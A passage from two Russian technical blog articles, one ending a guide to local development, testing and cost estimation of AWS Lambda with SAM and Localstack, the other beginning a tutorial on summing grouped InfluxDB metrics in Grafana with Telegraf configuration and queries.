Лямбда возвращает JSON, в котором присутствуют статус-код и тело ответа. Значение body пойдет напрямую клиенту, вызвавшему API Gateway. Кроме этого, на скриншоте есть характеристики вызова: время выполнения, время выполнения за которое мы будем платить, максимальное количество памяти, которое потреблялось лямбдой. Полагаясь на эти метрики, мы можем сконфигурировать оптимальное количество памяти, чтобы лямбда соответствовала вашим требованиям цены/скорости ответа.
### Использование AWS консоли для тестирования Canary deployment
Теперь затронем один важный момент, связанный с разворачиванием новой версии лямбды. Я указывал такие параметры, когда я писал SAM-шаблон:
```
AutoPublishAlias: live
DeploymentPreference:
Type: Canary10Percent10Minutes
```
Первый параметр автоматически добавляет к каждой новой версии лямбды алиас *live*.
**Немного об алиасах**
Когда вы разворачиваете новую версию лямбды, старая тоже сохраняется. Все версии остаются доступными, и вы в любой момент можете указать конкретную версию, на которую нужно перенаправлять запросы из API Gateway. Версии по умолчанию обозначаются номерами 1, 2, 3 и так далее. Еще есть метка *LATEST*, которая указывает на последнюю версию. Если у вас существует 2 или 3 окружения для API Gateway (Stage в терминах AWS), придется каждый раз при обновлении кода лямбды обновлять соотношение Gateway-Lambda. В API Gateway мы должны указывать конкретную версию (ARN лямбды), или по умолчанию это будет *LATEST*.
Алиас — еще один идентификатор (более сложно устроенный), который, как и в случае с версией, можно указать в ARN лямбды. Но его преимущество состоит в том, что можно создать по одному алиасу на каждый Stage для API Gateway и больше не менять эти зависимости. К примеру, создаем несколько окружений API Gateway: dev, qa и prod и соотносим их с соответствующими алиасами лямбды.
Каждый алиас может указывать не только на одну версию лямбды, но и на несколько, указывая процентное соотношение трафика между версиями. Вы можете управлять алиасами вручную через консоль, или автоматически проставлять их при разворачивании новой версии. К примеру, live, как на скрине выше. Это позволит на live-окружении автоматически держать последнюю версию, если, конечно, не упадут хэлс чеки, которые вы также можете настроить через CloudWatch.
Для тестирования canary deployment можно воспользоваться как консолью API Gateway, так и консолью Lambda.
Для начала нужно изменить код лямбды так, чтобы она возвращала другой ответ. Например, в обработке прогрева указать в ответе Version 2 вместо Version 1. Это и будет нашим маркером.
Теперь, используя функционал API Gateway Test, мы можем убедиться, что в течении десяти минут при отправке WARM-UP запросов лишь 10 % ответов будут иметь Version 2 в теле ответа. По истечении этого времени 100 % запросов будут возвращает Version 2.
Кроме консоли API Gateway мы можем использовать консоль Lambda, где, выбрав необходимый алиас, видим политику распределения трафика, которой можно управлять.
[](https://habrastorage.org/webt/hs/3s/b8/hs3sb8_jvymnm4bnmtn1yvgcamg.png)
2. Локальная разработка с использованием SAM-CLI
================================================
Некоторое время назад одним из главных недостатков использования лямбды считали неудобство в разработке и тестировании на локальной машине. Сейчас ситуация сильно изменилась: появился SAM-фреймворк, который позволяет не только собирать и разворачивать решения, но и упрощает локальную разработку.
Например, вы можете вызвать вашу лямбду прямо из консоли:
```
sam local invoke -e ./events/warm_up_request.json ContactUsFunction
```
Эта команда запускается из директории с SAM-шаблоном и передает содержимое JSON-файла на вход лямбде ContactUsFunction (это логическое имя в шаблоне).
То есть, используя эту команду, SAM поднимает в докере образ *lambci/lambda:java11*, и в нем запускает ваш код. Для доступа к удаленным сервисам, таким как SES, используется ваша конфигурация для AWS с secret/access key, так что она должна быть актуальной. Еще важный момент: если вы не добавите заголовок для режима прогрева, будут вызваны реальные сервисы AWS SES и DynamoDB.
**Лог вызова тут**
```
F:\aws\projects\contact-us-sam-app>sam local invoke -e ./events/warm_up_request.json ContactUsFunction
Invoking com.gralll.sam.App::handleRequest (java11)
Fetching lambci/lambda:java11 Docker container image......
Mounting F:\aws\projects\contact-us-sam-app\.aws-sam\build\ContactUsFunction as /var/task:ro,delegated inside runtime container
?[32mSTART RequestId: a86d65fa-1f19-15c5-93b8-d87631c80ee2 Version: $LATEST?[0m
2020-01-06 19:09:17 a86d65fa-1f19-15c5-93b8-d87631c80ee2 INFO App - Request was received
2020-01-06 19:09:17 a86d65fa-1f19-15c5-93b8-d87631c80ee2 DEBUG App - {
"body" : "{\"subject\": \"Question\",\"question\": \"How much does it cost\",\"username\": \"Alex\",\"phone\": \"+79999999999\",\"email\": \"alex@gmail.com\"}",
"resource" : "/{proxy+}",
"requestContext" : {
"resourceId" : "123456",
"apiId" : "1234567890",
"resourcePath" : "/{proxy+}",
"httpMethod" : "POST",
"requestId" : "c6af9ac6-7b61-11e6-9a41-93e8deadbeef",
"extendedRequestId" : null,
"accountId" : "123456789012",
"identity" : {
"apiKey" : null,
"apiKeyId" : null,
"userArn" : null,
"cognitoAuthenticationType" : null,
"caller" : null,
"userAgent" : "Custom User Agent String",
"user" : null,
"cognitoIdentityPoolId" : null,
"cognitoIdentityId" : null,
"cognitoAuthenticationProvider" : null,
"sourceIp" : "127.0.0.1",
"accountId" : null,
"accessKey" : null
},
"authorizer" : null,
"stage" : "prod",
"path" : "/prod/path/to/resource",
"protocol" : "HTTP/1.1",
"requestTime" : "09/Apr/2015:12:34:56 +0000",
"requestTimeEpoch" : 1428582896000,
"elb" : null
},
"multiValueQueryStringParameters" : { },
"multiValueHeaders" : {
"X-WARM-UP" : [ "13" ]
},
"pathParameters" : {
"proxy" : "/path/to/resource"
},
"httpMethod" : "POST",
"stageVariables" : {
"baz" : "qux"
},
"path" : "/path/to/resource",
"isBase64Encoded" : false,
"requestSource" : "API_GATEWAY"
}
2020-01-06 19:09:17 a86d65fa-1f19-15c5-93b8-d87631c80ee2 INFO App - Lambda was warmed up
?[32mEND RequestId: a86d65fa-1f19-15c5-93b8-d87631c80ee2?[0m
?[32mREPORT RequestId: a86d65fa-1f19-15c5-93b8-d87631c80ee2 Init Duration: 1984.55 ms Duration: 42.22 ms Billed Duration: 100 ms Memory Size: 256 MB Max Memory Used: 102 MB ?[0m
{"statusCode":201,"multiValueHeaders":{"Access-Control-Allow-Origin":["*"]},"body":{"response":"Lambda was warmed up. V1"},"isBase64Encoded":false}
```
Кроме лога лямбды в консоль пишется служебная информация по статусу вызова и ответ в формате JSON.
API Gateway, как и лямбду, можно запустить локально.
Выполняем команду:
```
sam local start-api
```
**Лог консоли при старте**
```
F:\aws\projects\contact-us-sam-app>sam local start-api
Mounting ContactUsFunction at http://127.0.0.1:3000/contact [POST, OPTIONS]
You can now browse to the above endpoints to invoke your functions. You do not need to restart/reload SAM CLI while working on your functions, changes will be reflected instantly/automatically. You only need to restart SAM CLI if you update your AWS SAM template
2020-01-06 22:20:30 * Running on http://127.0.0.1:3000/ (Press CTRL+C to quit)
```
После запуска сервера мы можем выполнять запросы. Я буду использовать Postman и отправлю запрос на прогрев лямбды.
[](https://habrastorage.org/webt/_e/hg/vs/_ehgvsftbjygwjcu3iiol-vky68.png)
**В консоли видим**
```
Invoking com.gralll.sam.App::handleRequest (java11)
Fetching lambci/lambda:java11 Docker container image......
Mounting F:\aws\projects\contact-us-sam-app\.aws-sam\build\ContactUsFunction as /var/task:ro,delegated inside runtime container
?[32mSTART RequestId: 27868750-3637-1f80-3d80-53a724da16ef Version: $LATEST?[0m
2020-01-06 19:28:09 27868750-3637-1f80-3d80-53a724da16ef INFO App - Request was received
2020-01-06 19:28:09 27868750-3637-1f80-3d80-53a724da16ef DEBUG App - {
"body" : "{\r\n \"subject\": \"Question\",\r\n \"question\": \"How much does it cost\",\r\n \"username\": \"Alex\",\r\n \"phone\": \"+79999999999\",\r\n \"email\": \"alex@gmail.com\"\r\n}",
"resource" : "/contact",
"requestContext" : {
"resourceId" : "123456",
"apiId" : "1234567890",
"resourcePath" : "/contact",
"httpMethod" : "POST",
"requestId" : "c6af9ac6-7b61-11e6-9a41-93e8deadbeef",
"extendedRequestId" : null,
"accountId" : "123456789012",
"identity" : {
"apiKey" : null,
"apiKeyId" : null,
"userArn" : null,
"cognitoAuthenticationType" : null,
"caller" : null,
"userAgent" : "Custom User Agent String",
"user" : null,
"cognitoIdentityPoolId" : null,
"cognitoIdentityId" : null,
"cognitoAuthenticationProvider" : null,
"sourceIp" : "127.0.0.1",
"accountId" : null,
"accessKey" : null
},
"authorizer" : null,
"stage" : "Prod",
"path" : "/contact",
"protocol" : null,
"requestTime" : null,
"requestTimeEpoch" : 0,
"elb" : null
},
"multiValueQueryStringParameters" : null,
"multiValueHeaders" : {
"Accept" : [ "application/json" ],
"Accept-Encoding" : [ "gzip, deflate, br" ],
"Accept-Language" : [ "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" ],
"Cache-Control" : [ "no-cache" ],
"Connection" : [ "keep-alive" ],
"Content-Length" : [ "150" ],
"Content-Type" : [ "text/plain;charset=UTF-8" ],
"Host" : [ "127.0.0.1:3000" ],
"Origin" : [ "chrome-extension://fhbjgbiflinjbdggehcddcbncdddomop" ],
"Postman-Token" : [ "5cadaccd-6fae-5bc2-b4ef-63900a1725ff" ],
"Sec-Fetch-Mode" : [ "cors" ],
"Sec-Fetch-Site" : [ "cross-site" ],
"User-Agent" : [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" ],
"X-Forwarded-Port" : [ "3000" ],
"X-Forwarded-Proto" : [ "http" ],
"X-Warm-Up" : [ "123" ]
},
"pathParameters" : null,
"httpMethod" : "POST",
"stageVariables" : null,
"path" : "/contact",
"isBase64Encoded" : false,
"requestSource" : "API_GATEWAY"
}
2020-01-06 19:28:09 27868750-3637-1f80-3d80-53a724da16ef INFO App - Lambda was warmed up
?[32mEND RequestId: 27868750-3637-1f80-3d80-53a724da16ef?[0m
?[32mREPORT RequestId: 27868750-3637-1f80-3d80-53a724da16ef Init Duration: 1951.87 ms Duration: 42.91 ms Billed Duration: 100 ms Memory Size: 256 MB Max Memory Used: 102 MB ?[0m
2020-01-06 22:28:11 127.0.0.1 - - [06/Jan/2020 22:28:11] "POST /contact HTTP/1.1" 201 -
```
Логи, конечно, форматированы не лучшим образом. Надеюсь, в будущем это исправят.
Важно: при изменении кода лямбды делать рестарт для API не обязательно. Достаточно пересобрать лямбду командой *sam build*.
**Немного о багах**
Когда я взял за основу запроса и ответа Java-модели из *aws-serverless-java-container-core*, то столкнулся с проблемой: локальный сервер при запуске всегда возвращал 502 статус. В логах я видел:
```
Invalid API Gateway Response Keys: {'base64Encoded'} in {'statusCode': 200, 'headers': {'Content-Type': 'text/plain'}, 'body': 'Hello World', 'base64Encoded': False}
```
Это случалось из-за того, что локальный API Gateway использовал отличный от AWS метод сериализации и не обрабатывал аннотации JsonProperty. По итогу переменная из *'isBase64Encoded'* превратилась в *'base64Encoded'*, что, собственно, и нарушало валидацию ответа. Разобравшись с этим, я решил просто использовать свою собственную Java-модель ContactUsProxyResponse вместо AwsProxyRequest.
3. Локальные вызовы из IDEA
===========================
Все описанное в пункте выше — функциональность инструмента SAM. Он управляется из командной строки и его можно интегрировать в любой интерфейс. Как раз это и было сделано в плагине для IntelljIDEA AWS Toolkit.
Данный плагин добавляет дополнительные конфигурации для запуска лямбды прямиком из IDE. Так выглядит окно конфигурации.
[](https://habrastorage.org/webt/2s/8u/xk/2s8uxk8n8gfza3p9z9ewugw-xge.png)
Вы должны либо выбрать шаблон с описанием лямбды, либо настроить параметры вручную.
В первом случае количество памяти и язык для компиляции будут автоматически взяты из шаблона. Во втором случае вы сможете сами настроить количество оперативной памяти и произвести приблизительный расчет лимита.
Еще плагин позволяет запускать конфигурацию прямо из окна редактора Java кода либо yaml-шаблона. Скриншоты ниже:
[](https://habrastorage.org/webt/8o/um/83/8oum83fe_tkz8suqmxzg-evjpaa.png)
[](https://habrastorage.org/webt/iw/ma/is/iwmais_steqx3sfhwstdxk7ncwa.png)
На этом, собственно, и все. Запустив настроенную конфигурацию, вы просто автоматизируете частые вызовы лямбды из консоли. Согласитесь, достаточно удобно?
4. Тестирование
===============
Здесь поговорим о видах тестов для лямбд. Так как в примере я использовал Java, то и тесты будут включать довольно стандартные инструменты для юнит и интеграционного тестирования: Junit 4, Mockito и PowerMockito.
### Юнит-тесты
Для покрытия кода лямбды юнит-тестами не нужно обладать специфичными знаниями. Достаточно применить стандартные Java-практики: замокать все зависимости в классе и постараться протестировать все возможные случаи обработки запроса.
Я не стал добавлять все тестовые сценарии и ограничился двумя позитивными и двумя негативными сценариями.
Первый позитивный тест проверяет, что при наличии заголовка X-WARM-UP запросы в DbService и EmailService отсутствуют. Второй кейс проверяет, что эти сервисы будут вызваны, если запрос реальный. Это простейшие тесты, и я опустил в них часть проверок.
Негативные сценарии представляют собой проверку ответа в случае клиентской или серверной ошибки обработки.
### Интеграционные тесты
Что касается интеграционных тестов, то я решил проверить DbService и его работу с таблицей DynamoDB.
В этом случае я воспользовался инструментом [Localstack](https://github.com/localstack/localstack). Данное решение предоставляет бесплатные моки для AWS-сервисов, которые запускаются в виде докер контейнеров.
Для установки этого решения достаточно выполнить команды:
```
pip install localstack
localstack start
```
Либо можно воспользоваться [docker-compose файлом](https://github.com/localstack/localstack/blob/master/docker-compose.yml).
**docker-compose для поднятия только DynamoDB**
```
version: '2.1'
services:
localstack:
container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
image: localstack/localstack
ports:
- "4567-4599:4567-4599"
- "${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
environment:
- SERVICES=dynamodb
- DEBUG=${DEBUG- }
- DATA_DIR=${DATA_DIR- }
- PORT_WEB_UI=${PORT_WEB_UI- }
- LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
- KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
- DOCKER_HOST=unix:///var/run/docker.sock
volumes:
- "${TMPDIR:-/tmp/localstack}:/tmp/localstack"
- "/var/run/docker.sock:/var/run/docker.sock"
```
Команда start по умолчанию поднимает все доступные AWS-сервисы. Чтобы поднять конкретно DynamoDB достаточно задать переменную окружения:
```
set SERVICES=dynamodb
```
Для Junit существует специальный *LocalstackTestRunner*, который позволяет запустить необходимые сервисы, используя конфигурацию *@LocalstackDockerProperties*.
В итоге написание теста для DbService выглядит таким образом:
* Добавляем над тестовым классом
```
@RunWith(LocalstackTestRunner.class)
@LocalstackDockerProperties(services = { "dynamodb" })
```
* Создаем таблицу
**java**
```
@Before
public void setUp() {
AmazonDynamoDB clientDynamoDB = TestUtils.getClientDynamoDB();
dynamoDB = new DynamoDB(clientDynamoDB);
dbService = new DbService(dynamoDB);
dynamoDB.createTable(
new CreateTableRequest()
.withTableName("ContactUsTable")
.withKeySchema(new KeySchemaElement("Id", KeyType.HASH))
.withAttributeDefinitions(new AttributeDefinition("Id", ScalarAttributeType.S))
.withProvisionedThroughput(new ProvisionedThroughput(10L, 10L)));
}
```
* Описываем тестовый сценарий
**java**
```
// given
ContactUsRequest contactUsRequest = new ContactUsRequest("subject", "name", "+79991234545", "123@mail.ru", "Qeustion");
// when
dbService.putContactUsRequest("123", contactUsRequest);
// then
Item item = dynamoDB.getTable("ContactUsTable").getItem(new PrimaryKey("Id", "123"));
assertEquals(contactUsRequest.getSubject(), item.get("Subject"));
assertEquals(contactUsRequest.getUsername(), item.get("Username"));
assertEquals(contactUsRequest.getPhone(), item.get("Phone"));
assertEquals(contactUsRequest.getEmail(), item.get("Email"));
assertEquals(contactUsRequest.getQuestion(), item.get("Question"));
```
* Не забываем удалить таблицу после теста
**java**
```
@After
public void tearDown() {
dynamoDB.getTable("ContactUsTable").delete();
}
```
В итоге, используя Localstack, мы получаем довольно обширный диапазон моков AWS, которые позволяют эмулировать работу настоящих сервисов.
### E2E тесты
Для воспроизведения E2E сценариев лучше поднять тестовые AWS-сервисы конкретно под запуск тестов, если, конечно, есть такая возможность. Это можно сделать с помощью дополнительного шаблона CloudFormation, в котором ресурсы будут копиями основного шаблона.
Тест можно провести, вызвав лямбду через AWS-CLI и обработав результат любым доступным инструментом. Еще можно сделать вызов в юнит-тестах, но без создания моков.
### Тесты производительности
Так как performance-тестирование заслуживает отдельной статьи или даже книги, я не буду пытаться вместить всю информацию сюда. Вкратце, говоря о нагрузочном тестировании нужно помнить, что использование почти всех сервисов AWS не бесплатное, и вы должны быть готовы заранее оценить возможные затраты.
Если вы хотите оценить необходимые ресурсы для лямбды, воспользуйтесь UI-консолью и сделайте несколько тестовых вызовов. Далее с помощью банальной логики и математики оцените, насколько увеличивается производительность именно вашей лямбды в зависимости от количества доступных ресурсов.
Не забывайте про CloudWatch. С его помощью можно построить довольно показательные дашборды и на их основе определить, какие параметры лямбды и траты вы можете себе позволить.
5. Стоимость Serverless-решений
===============================
Оценка того или иного решения всегда специфична, ведь нужно учитывать не только стоимость одного вызова, но и входящий/исходящий трафик, стоимость кеширования, логгирования и мониторинга. Если вы задумались об использовании лямбды, попробуйте спрогнозировать нагрузку, которую ваш сервис будет обрабатывать.
Если это одиночные вызовы или ETL-процесс, запускаемый с периодичностью раз в несколько часов/дней, то с большей вероятностью лямбда оправдает себя. Если вы прогнозируете нагрузку в несколько запросов в секунду — обязательно проведите точную оценку.
Ниже привожу приблизительные подсчеты стоимости лямбды и самого дешевого сервера EC2, чтобы вы поняли, о каких значениях идет речь:
[](https://habrastorage.org/webt/p_/0w/ij/p_0wij6j_z2xop6dbt185485llc.png)
Для расчета брались следующие параметры для лямбды:
* **Время выполнения:** 150 миллисекунд
* **Цена:** 0,00001667$ за 1ГБ‑с
* **Память:** 256 МБ
Для EC2 t2.nano:
* **Цена:** 4,75$ за месяц
* **Память:** 512 МБ
* **vCPU:** 1
* **Максимальная нагрузка:** 5% CPU в месяц
Данные по выдерживаемой нагрузке EC2 я взял [отсюда](https://www.concurrencylabs.com/blog/handle-thousands-of-users-with-a-t2-nano/).По этим подсчетам указанный сервер может выдерживать постоянную нагрузку в 0.3 запроса в секунду. При увеличении нагрузки время ответа будет расти, что снизит эффективность данного сервера.
Все эти подсчеты довольно абстрактны и не учитывают множество факторов: скидки за предоплату или большое количество запросов, время выполнения лямбды и так далее. Но они показывают, что при нагрузке менее 1 запроса в секунду лямбда стоит меньше, чем самый дешевый EC2 сервер.
Кстати, не забудьте прибавить к стоимости EC2 цену ALB, если у вас есть необходимость держать несколько реплик приложения или elastic IPs.

Тестирование и локальная разработка Serverless-решений менее популярны, чем те же микросервисы. Тем не менее все больше людей изучают и применяют эти технологии и дают шанс различным опен-сорс продуктам становиться качественнее и эффективнее. Такие решения значительно упрощают жизнь компаниям, которым необходимо выпустить продукт в кратчайшие сроки и не заниматься настройкой всей инфраструктуры. Но и в уже развитых продуктах, я думаю, найдется место для бессерверных баз данных или лямбд.
Я не претендую на звание эксперта в области тестирования Serverless-решений, но, основываясь на личном положительном опыте, решил выделить основные моменты в этой статье. Надеюсь, кому-то они будут полезны, а возможно, кто-то из вас может дополнить или даже поправить меня, чему я буду очень рад.
Полезные ссылки
===============
* [AWS Lambda in Action. Часть 1](https://habr.com/ru/company/dins/blog/486648/)
* [Проект на GitHub](https://github.com/Gralll/aws-sam-contact-us-java11)
* [Localstack Git репозиторий](https://github.com/localstack/localstack)
* [Файл docker-compose для поднятия Localstack](https://github.com/localstack/localstack/blob/master/docker-compose.yml)
* [Сравнение стоимости использования EC2 и AWS Lambda](https://www.concurrencylabs.com/blog/handle-thousands-of-users-with-a-t2-nano/)
* [Скачать AWS-CLI](https://docs.aws.amazon.com/cli/latest/userguide/install-cliv1.html)
* [Скачать SAM-CLI](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/serverless-sam-cli-install-windows.html)
* [Конфигурация AWS-CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html)
* [Описание SAM-ресурсов](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/sam-specification-resources-and-properties.html)
* [Конфигурация алиасов для AWS Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-aliases.html) | https://habr.com/ru/post/496756/ | null | ru | null |
# Grafana, InfluxDB, два тега и одна сумма. Или как посчитать сумму подгрупп?
[](https://habr.com/ru/company/raiffeisenbank/blog/490764/)
Всем привет!
Занимаюсь тестированием производительности. И очень люблю настраивать мониторинг и любоваться метриками в [Grafana](https://grafana.com/). А стандартом для хранения метрик в инструментах для подачи нагрузки является [InfluxDB](https://www.influxdata.com/products/influxdb-overview/). В **InfluxDB** можно сохранять метрики из таких популярных инструментов, как:
* [Apache.JMeter](https://jmeter.apache.org/usermanual/realtime-results.html "Раздел документации Apache.JMeter
Real-time results
In this document we will present the configuration setup to graph and historize the data in different backends:
• InfluxDB setup for InfluxDBBackendListenerClient
• InfluxDB setup for GraphiteBackendListenerClient
• Grafana
• Graphite")
* [Gatling](https://gatling.io/docs/current/realtime_monitoring#graphite-influxdb-grafana "Раздел документации Gatling
Realtime monitoring
The sections below describe how to configure Gatling with InfluxDB and Graphite, and use Grafana as a graphing library")
* [LoadRunner Enterprise](https://admhelp.microfocus.com/pc/en/2020/online_help/Content/PC/Analysis-Servers.htm "Раздел документации LoadRunner Enterprise
Manage analysis servers
This section describes how to configure external analysis database servers to be used with LoadRunner Enterprise")
* [Yandex.Tank](https://yandextank.readthedocs.io/en/latest/core_and_modules.html#influxdb "Раздел документации Yandex.Tank
Modules / Artifact uploaders / InfluxDB
В которой описана возможность сохранения метрик Yandex.Tank в InfluxDB")
Работая с инструментами по тестированию производительности и их метриками, накопил подборку рецептов программирования для связки **Grafana** и **InfluxDB**. Предлагаю рассмотреть интересную задачу, которая возникает там, где есть метрика с двумя и более тегами. Думаю, это не редкость. И в общем случае задача звучит так: **подсчёт суммарной метрики по группе, которая делится на подгруппы**.
### Есть три варианта:
1. [Просто сумма с группировкой по тегу Type](#1)
2. [Grafana-way. Используем стек значений](#2)
3. [Сумма максимумов с подзапросом](#3)
Как всё начиналось
------------------
Настраивал мониторинг JVM MBean с помощью **Jolokia**, **Telegraf**, **InfluxDB** и **Grafana**. И визуализировал метрики по пулам памяти — сколько памяти выделено каждым пулом памяти в HEAP и за её пределами.
Графики по пулам памяти JVM и активности сборщика мусора с 13:00 предыдущего дня по 01:00 ночи текущего дня (период в 12 часов). Тут видно, что пулы памяти делятся на две группы: **HEAP** и **NON\_HEAP**. И что примерно в 17:00 была сборка мусора, после чего размер пулов памяти уменьшился:
[](https://habrastorage.org/webt/ow/ow/os/owowosl0e-neglcsbew-0u7bjjq.png)
Для сбора метрик по пулам памяти указал в конфигурационном файле **telegraf** следующие настройки:
**telegraf.conf**
```
[outputs.influxdb]
urls = ["http://influxdb_server:8086"]
database = "telegraf"
username = "login-InfluxDb"
password = "*****"
retention_policy = "month"
influx_uint_support = false
[agent]
collection_jitter = "2s"
interval = "2s"
precision = "s"
[[inputs.jolokia2_agent]]
username = "login-Jolokia"
password = "*****"
urls = ["http://127.0.0.1:7777/jvm-service"]
[[inputs.jolokia2_agent.metric]]
paths = ["Usage","PeakUsage","CollectionUsage","Type"]
name = "java_memory_pool"
mbean = "java.lang:name=*,type=MemoryPool"
tag_keys = ["name"]
[[processors.converter]]
[processors.converter.fields]
integer = ["CollectionUsage.*", "PeakUsage.*", "Usage.*"]
tag = ["Type"]
```
А в **Grafana** сконструировал запрос к **InfluxDB**, чтобы вывести в виде графиков максимальное значение метрики **`Usage.Committed`** за период времени с шагом **`$granularity`** (1m) и группировкой по двум тегам **`Type`** (HEAP или NON\_HEAP) и **`name`** (Metaspace, G1 Old Gen, ...):
[](https://habrastorage.org/webt/qx/2z/-2/qx2z-2mblgxyi-u6g4mrbyvybf8.png)
Этот же запрос в текстовом виде, с учетом всех переменных **Grafana** (обратите внимание на экранирование значений переменных с помощью **`:regex`** — это важно для корректной работы запроса):
```
SELECT max("Usage.committed")
FROM "telegraf"."month"."java_memory_pool"
WHERE
host =~ /^${host:regex}$/ AND
jolokia_agent_url =~ /^${jolokia:regex}$/ AND
$timeFilter
GROUP BY
"Type", "name", time($granularity)
```
Этот же запрос в текстовом виде, с учетом конкретных значений переменных **Grafana**:
```
SELECT max("Usage.committed")
FROM "telegraf"."month"."java_memory_pool"
WHERE
host =~ /^serverName$/ AND
jolokia_agent_url =~ /^http:\/\/127\.0\.0\.1:7777\/jvm-service$/ AND
time >= 1583834400000ms and time <= 1583877600000ms
GROUP BY
"Type", "name", time(1m)
```
Группировка по времени **`GROUP BY time($granularity)`** или **`GROUP BY time(1m)`** используется, чтобы сократить количество точек на графике. Для периода времени 12 часов и шага группировки 1 минута получаем: 12 х 60 = 720 отрезков времени или 721 точку (последняя точка со значением null).
> Запомним, что **721** — ожидаемое количество точек в ответе на запросы к **InfluxDB** при текущих настройках интервала времени (12 часов) и шага группировки (1 минута).
Пул памяти **NON\_HEAP: Metaspace** (синий) в лидерах потребления памяти на момент 20:00. А по **HEAP: G1 Old Gen** (желтый) был небольшой локальный всплеск в 17:03. И на момент 20:00 в сумме на все **NON\_HEAP**-пулы ушло **172.5 MiB** (113.2 + 45.9 + 13.4), а на **HEAP**-пулы **128 MiB** (67 + 57 + 4).
[](https://habrastorage.org/webt/ku/mo/wf/kumowfdo6gkw3wx_b8mugtsp8l4.png)
> Запомним значения для 20:00: **NON\_HEAP**-пулы **172.5 MiB**, и **HEAP**-пулы **128 MiB**. Будем ориентироваться на эти значения в будущем.
В разрезе **Type**: **name** значение метрики мы получили легко.
В разрезе только тега **name** значение метрики получить тоже легко, так как все имена пулов памяти уникальны, и достаточно оставить группировку результатов только по **name**.
> Остается вопрос: как получить, какой размер выделен под все HEAP-пулы и все NON\_HEAP-пулы в сумме?
1. Просто сумма с группировкой по тегу Type
-------------------------------------------
### 1.1. Сумма с группировкой по тегу
Первое решение, которое может придти на ум — сгруппировать значения по тегу **Type** и вычислить сумму значений в каждой группе. Такой запрос будет выглядеть так:
[](https://habrastorage.org/webt/xz/w_/4a/xzw_4aonrgekrw4onxv9fwcctlg.png)
Текстовое представление запроса вычисления суммы с группировкой по тегу **Type** со всеми переменными **Grafana**:
```
SELECT sum("Usage.committed")
FROM "telegraf"."month"."java_memory_pool"
WHERE
host =~ /^${host:regex}$/ AND
jolokia_agent_url =~ /^${jolokia:regex}$/ AND
$timeFilter
GROUP BY
"Type"
```
Это валидный запрос, но он вернёт всего две точки: сумма вычислится с группировкой лишь по тегу **Type** с двумя значениями (HEAP и NON\_HEAP). Мы даже график не увидим. Будут две отдельностоящие точки с огромной суммой в значениях (более 3-х TiB):
[](https://habrastorage.org/webt/sz/lx/bo/szlxboh0o4r3-jsq7jg9d49wnic.png)
Такая сумма не годится, нужна разбивка на интервалы времени.
### 1.2. Сумма с группировкой по тегу за минуту
В исходном запросе мы группировали метрики по настраиваемому интервалу **$granularity**. Сделаем и сейчас группировку по настраиваемому интервалу.
Получится такой запрос, в нём добавилось **`GROUP BY time($granularity)`**:
[](https://habrastorage.org/webt/yb/xp/tw/ybxptwbmibq2xlujuuwbkwb83nq.png)
Получаем завышенные значения, вместо 172.5 MiB по **NON\_HEAP** видим, 4.88 GiB:
[](https://habrastorage.org/webt/9l/lo/hn/9llohn9ncpoztbtcsrfqzfzoqya.png)
Так как метрики отправляются в InfluxDB раз в 2 секунды (смотри **telegraf.conf** выше), то сумма показаний за одну минуту, даст сумму не в моменте, а сумму тридцати таких сумм.
Поделить результат на константу **30** мы тоже не можем. Так как **$granularity** — параметр, его можно задать как равным 1 минуте, так и 10-ти минутам. И значение суммы будет меняться.
### 1.3. Сумма с группировкой по тегу за секунду
Чтобы верно получить значение метрики для текущей интенсивности сбора метрик (2 секунды), нужно считать сумму за фиксированный интервал, не превышающий интенсивность сбора метрик.
Попробуем выводить статистику с группировкой по секундам. Добавим в **`GROUP BY`** группировку **`time(1s)`**:
[](https://habrastorage.org/webt/vn/sl/q_/vnslq_lq48mzzh9hgmjwiuvcy2i.png)
При такой малой гранулярности получаем для нашего интервала времени в 12 часов огромное количество точек (12 часов \* 60 минут \* 60 секунд = 43 200 интервалов, 43 201 точка на линию, последняя из которых со значением null):
[](https://habrastorage.org/webt/_2/mw/4k/_2mw4ki9rcnf140m2doyqsn-zxy.png)
43 201 точка в каждой линии графика. Точек так много, что **InfluxDB** будет долго формировать ответ, **Grafana** будет дольше принимать ответ, а потом браузер будет долго отрисовывать такое огромное количество точек.
И не в каждой секунде есть точки: метрики собирались раз в 2 секунды, а группировка по каждой секунде, значит, каждая вторая точка будет со значением null. Чтобы увидеть плавную линию, настроим соединение непустых значений. Иначе графиков мы не увидим:
[](https://habrastorage.org/webt/xx/ya/hf/xxyahfkl3xzk6ezsakvgsbi8lp4.png)
Раньше **Grafana** была такой, что браузер зависал во время отрисовки большого количества точек. Сейчас версия **Grafana** имеет возможность отрисовать несколько десятков тысяч точек: браузер просто пропускает часть из них, рисует график по прореженным данным. Но график сглаживается. Максимумы отображаются, как средние максимумы.
В результате график есть, отображается точно, метрики в 20:00 посчитаны верно, метрики в легенде графика посчитаны верно. Но график сглаженный: на на нём не видны всплески с точностью до 1 сек. В частности всплеск по **HEAP** в 17:03 пропал с графика, график **HEAP** очень гладкий:
[](https://habrastorage.org/webt/1g/vs/m8/1gvsm8owfg-ifjjcqwf-w1q2lbk.png)
Минус в производительности отчетливо проявится на большем интервале времени. Если попытаться построить график за месяц (720 часов), а не за 12 часов, то всё зависнет при такой малой гранулярности (1 секунда), точек будет слишком много. И есть минус в отсутствии пиков, парадокс — **из-за высокой точности получения метрик, мы получаем низкую точность их отображения**.
2. Grafana-way. Используем стек значений
----------------------------------------
Сделать простое и производительное решение с **InfluxDB** и конструктором запросов **Grafana** не получилось. Попробуем лишь средствами **Grafana** просуммировать метрики, выдаваемые в исходном графике. И да, такое возможно!
### 2.1. Просто сделаем Hover tooltip / Stacked value: cummulative
Запрос выбора метрик оставим без изменений, такой же как в разделе «Как всё начиналось»:
[](https://habrastorage.org/webt/s5/an/3e/s5an3errkt29lgc8byme6tnowz4.png)
Метрики будут группироваться по **Type** и **name**. Но в названия графиков будем выводить только тег **Type**:
